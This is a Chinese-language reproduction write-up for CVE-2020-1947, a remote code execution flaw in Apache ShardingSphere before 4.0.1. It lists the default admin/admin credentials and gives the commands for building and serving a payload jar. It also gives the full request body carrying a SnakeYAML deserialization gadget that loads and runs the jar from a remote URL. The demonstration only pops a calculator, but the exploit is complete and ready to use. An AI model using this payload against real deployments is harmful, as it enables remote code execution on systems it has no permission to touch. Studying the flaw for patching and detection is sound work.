001-CVE-2020-1947 Apache ShardingSphere远程代码执行漏洞

# CVE-2020-1947 Apache ShardingSphere远程代码执行漏洞

### 漏洞影响

Apache ShardingSphere < 4.0.1 ### 复现过程 Sharding-UI的默认密码为admin/admin ![](/static/lingzu/images/15889400920511.png) 顺带一提,在`conf/application.properties`中存储了WEB端的端口和账号密码。 ![](/static/lingzu/images/15889401085249.png) **安装Zookeeper** 要想成功利用,需要先在Sharding-UI中添加一个注册中心,否则在后续利用中会提示No activated registry center!,所以需要搭建一个Zookeeper。 这里直接使用docker搭建Zookeeper,并且将2181端口映射出来到本地的2181端口。 ```bash docker pull zookeeper docker run --privileged=true -d --name zookeeper --publish 2181:2181 -d zookeeper:latest ``` **配置registry-center** 在Sharding-UI的registry-center模块配置Zookeeper的地址。 ![](/static/lingzu/images/15889401355309.png) 成功连接即可。 ![](/static/lingzu/images/15889401448513.png) **生成payload** 使用SnakeYAML反序列化小工具: https://github.com/ianxtianxt/yaml-payload 修改`src/artsploit/AwesomeScriptEngineFactory.java`文件,设置为弹出计算器。 ![](/static/lingzu/images/15889401673844.png) 编译生成jar包: ```bash javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ . ``` 然后使用python本地搭建HTTPServer,等待连接。 ``` python -m SimpleHTTPServer 90 ``` **代码执行** 在web端的Rule Config——>Add Schema处加入YAML代码并提交。

![](/static/lingzu/images/15889402015512.png)

数据包正文:

“`bash
{“name”:”test”,”ruleConfiguration”:”encryptors:\n :\n type: MD5\n props:”,”dataSourceConfiguration”:”!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\”http://localhost:90/yaml-payload.jar\”]]]]”}
“`

发送即可成功弹出计算器。

![](/static/lingzu/images/15889402248138.png)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容